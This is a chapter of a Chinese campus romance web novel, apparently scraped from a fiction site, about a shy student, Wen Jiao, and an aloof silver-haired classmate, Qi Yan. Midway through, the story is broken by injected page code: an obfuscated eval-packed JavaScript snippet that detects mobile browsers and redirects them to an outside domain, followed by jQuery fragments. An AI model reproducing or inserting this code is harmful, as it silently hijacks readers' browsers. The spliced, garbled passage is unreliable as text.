某一瞬间。
温皎觉得自己回到了小时候去过的老家,摸到了大树下,那口清凉的古井水。
令人安心的熟悉感。
想来,这会是个好相处的同学。
温皎心念微动,不由生出亲近之意,微笑着看过去。
——然后,她就被惊住了!
其他人显然也被震住。
集体朝门框外的人,投去仰望目光。
那人情绪冷淡,很没诚意道:“抱歉,老师,我迟到了。”
“进来吧。”朱茂站直了些。
少年挎着书包,个子高瘦,气息冷然。
这么热的天,他还穿了件黑色挡风外套,拉链拉到最上方。碎发飒飒,眉眼恹恹。
在众人一致的目光下,少年迈着步子,悠悠上台。
他个子太高,一踩上去,顿时就把旁边的朱老师压矮一截。
与生俱来的压迫感。
像冷水滴进油锅里,温皎听见后面人在私语。
“我靠,这哥们牛逼呀。”
“染这么骚的颜色,要去当偶像练习生出道啊?”
“我承认,他是比我略有姿色……”
“看见没?”室友也用手肘推了推温皎,似笑非笑,“那头发,要把人眼睛闪瞎了。诶,就跟你这手链差不多闪。”
“你这手链挺贵的吧?”
孟萌家里搞金融的,虽然看上去没个正形,实际把人扫一眼,就能断出对方大概层级。
温皎回过神,盯一眼自己的手链,先点点头。
又摇摇头。
她视力5.0。
那头银发存在感这么强。
能看不见吗?
至于手链,是韩子墨出国前送她的,她也不知道价格。
模棱道:“还好吧。”
“你吃可爱多长大的吗?”
温皎:“啊?”
“没什么,夸你可爱呢。”孟萌憋笑。
没一会,她又开始生无可恋:“唉,早知道有人这么拽,开学敢顶着一头银毛报道,我就不把彩虹色的头发染回去了。”
高考完放飞自我,染奇异发色的人不少。
敢堂而皇之留到开学的却不多。
温皎:“……”
从小就是乖乖女的温皎,不知如何接话。
她头发天生深褐色,带点自然卷。
家里不允许她染头发扎耳钉之类的。
倒是朱老师比较淡定,扶了扶眼镜,默默退到台下。
把舞台留给身边的高个子少年:“做下自我介绍吧。”
少年眼角耷拉着,看着没什么精神,像是没睡够,被强行拖来了学校。
“我叫齐厌。”
众人伸长脖子,等着他下半截。
在人还没出声的间隙,已经主动替他脑补了一大堆:
“我曾经打过群架。”
“捶过老师。”
“还撕过同学的作业。”
……
毕竟他看起来很拽。
像传说中,叱咤风云的混混校霸。
众人等了半晌。
后知后觉意识到,他已经说完了。
齐厌显然不想再多说一个字。
见黑板上留有“朱茂”两字,他也拿起粉笔,潇洒写上自己的。
然后把粉笔精准投回了白盒子里。
看上去,更像个刺头了。
朱老师尴尬咳了两声:“没了?那就下去,找个位置坐下吧。”又随意找了个话题关心,“齐厌同学啊,怎么第一天就迟到?”
高瘦少年径直走向后排角落,放下书包,面无表情道:“被家里赶出来了,没钱。走路来的。”
“……”
又惨又牛逼的。
底下鸦雀无声。
还没从震惊中缓过神。
朱老师本来都乐了,以为齐厌在开玩笑。
又看一眼坐在后排的少年,碎发盖住了眼底情绪,浑身气息收敛。
半点不像在逗人玩的样子。
于是清咳两声,正色道:“同学们,这就是老师接下来要讲的事。你们知道你们生在一个多么幸福伟大的时代吗?为了让大家不因经济困难而辍学,国家特意设置助学金……”
在众人笑闹提问时,温皎悄悄回头,看向独自坐在角落的银发少年。
阳光透过窗户,洒到银发上,如星河倾落。
少年根本不在意外界声音,下颌微收,埋头整理包里的电脑和数据线。
结合他刚才说的话:“没钱。走路来的。”
——也许,这就是他全副身家。
或许是对别人目光过分敏感。
他停住动作,皱眉看过来。
一瞬间,温皎从他眼睛里,看见收敛不住的不耐烦。
吓得赶紧转回头,唰的坐得笔直。
整节课,连竞选班干的时候,温皎都控制住视线,没敢再往后排角落瞟一眼。
隔日下午,辅导员赵文把温皎单独叫到办公室。
九月的天空,澄净如画。梧桐树繁茂,送来阵阵清浪。
温皎走路慢吞吞的,怕晒,特意带了把伞。
夏天穿得薄,温皎到的时候,纤细胳膊露在外面,被阳光蒸了一路,白得近乎透明。
“赵老师,您找我?”温皎语气忐忑。
赵文正在和周围老师聊天,见人到了,亲切开口:“你就是温皎吧。快过来坐下,别站着。”
见温皎拘束,赵文连忙给她倒了杯水:“别客气,你妈妈都和我提过你了。”
温皎不可置信,诧异抬头。
赵文并未察觉异常:“说起来还真是有缘分,孟老师是我弟弟的班主任。我那弟弟刚上高中,人又顽皮,管起他来,可真是费事……”
温皎感觉剩下的话,都被枝头雀鸟吵远,听不清了。
——赵文口中的孟老师,名叫孟艺丽。
是温皎的母亲。
从小到大,总是这样。
她去任何地方,遇见的每个熟人,好像都是父母的眼线。
牵制住傀儡般的她,监视她的一举一动。
温皎的目光,一点点黯然。
九月天气最是多变,刚才还是艳阳天,转眼间,就阴凉了。
雨丝斜扫玻璃,在窗框的缝隙,积了一滩水渍。
温皎轻声开口:“赵老师……”
话音刚落,门外传来“笃笃”敲门声。
“请进。”赵文坐直身子,恢复不苟言笑的模样。
温皎顺着望过去,门外站着个高瘦的少年,一头银发。
那身黑色外套洇出深色云团,袖口的水,顺着指尖往下滴。
明显是淋着雨来的。
温皎赶紧起身,给他让出位置。
少年挺拔的身影立在办公桌前,却没有坐下的打算。
赵文不等他开口,不耐烦道:“怎么又是你?我都说过了,你的情况申请不了助学金。”
不知是不是错觉,温皎感觉空气有一瞬凝滞。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812577|175313||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
少年抬起视线,蹙起眉梢,看向了旁观者温皎。
温皎莫名想起课堂上,那不友善的一眼。
吓得赶紧收回视线。
内心有些懊悔。
或许她刚才应该避出去的,不过赵文开口太快,没给她任何缓冲机会。
总之挺尴尬的。
“你这同学怎么回事?说不行就是不行,你在这里和我耗时间也没用。”赵文声音冷硬,眼皮都懒得抬一下。
温皎看见,少年握紧拳头,揣进了挡风衣的兜里。
头顶响起的声音,平静得没有起伏。
“我先走了。”
连个称谓也没有,不知道在和谁说。
他转身就走,行为挺没礼貌。
但赵文也不觉得奇怪。这种开学就特立独行、染奇异发色的学生,不是什么好苗子。
温皎磨蹭了一会,也告辞离去。
带上门离开的时候,隔着缝隙,还能听见赵文不屑的语气:“有的学生,年纪轻轻,就想着骗国家补贴……”
温皎在走廊窗口站了一会。阴云更加大朵,天幕扯上了遮光布。
估摸着齐厌已经走远,她才拿起伞,磨蹭下楼。
阴雨天,楼道昏暗。
年久失修的灯忽闪忽闪,温皎不由想起恐怖片氛围,捏紧伞柄,只想快速通过。
转角处,惊雷乍响,惨白的闪电穿过窗格透进来。
一只手凭空伸出,挡住她的去路。
温皎短促惊呼,后退一步,背抵在不锈钢扶手上。
这才注意到。
那只手修长,指骨明晰。
没想到还能在楼道遇上他。
“喂。”声音低而哑。
少年朝她扬了扬下巴。
温皎很识时务,赶紧做出摸兜动作。
摸到裙子时,才想起,兜里揣着二十块钱的裤子,已经被她换下来了。
温皎:“……你能不能——”
宽限她半天?
话音未落,就被少年打断:“你手链掉了。”
他摊开手,指节瘦削匀称,肤色冷白。
银链缀着钻石,在雨雾中漾出涟漪。
温皎愣愣接过,温吞道:“谢……谢啊。”
少年转身前,忽然皱眉问她:“你刚想说什么来着?”
温皎握着掌心一点点发烫的手链,想到自己之前的误会,有些歉然。
突然被他惊醒。
下意识编了个借口,顺着说下去:“——能不能,把你联系方式给我?”
齐厌:“……”
温皎也反应过来自己问了个多蠢的问题。
老朱上午刚拉了群,群里就有所有人的联系方式。
要是她遇到这种情况,都得感叹一句。
真是拙劣的吸引注意力的方式啊。
“走了。”
他迈开长腿,往楼下走。
看着外面的雨,温皎追在后面:“要不我撑你回去吧?”
少年侧脸清冷:“不必。”
身形冷峻,格外不近人情。
他盖上帽子,走入濛濛烟雨里,像中世纪特有的阴暗色调油画。
温皎一直以为,是自己哪里得罪过他。
后来才发现,他只是习惯孤僻,不喜欢与人接触。
其实齐厌对待生活之外的人,一直都不是很在意。
或许他早就忘记。
曾经有个女孩,让他伤筋动骨。
经年难愈。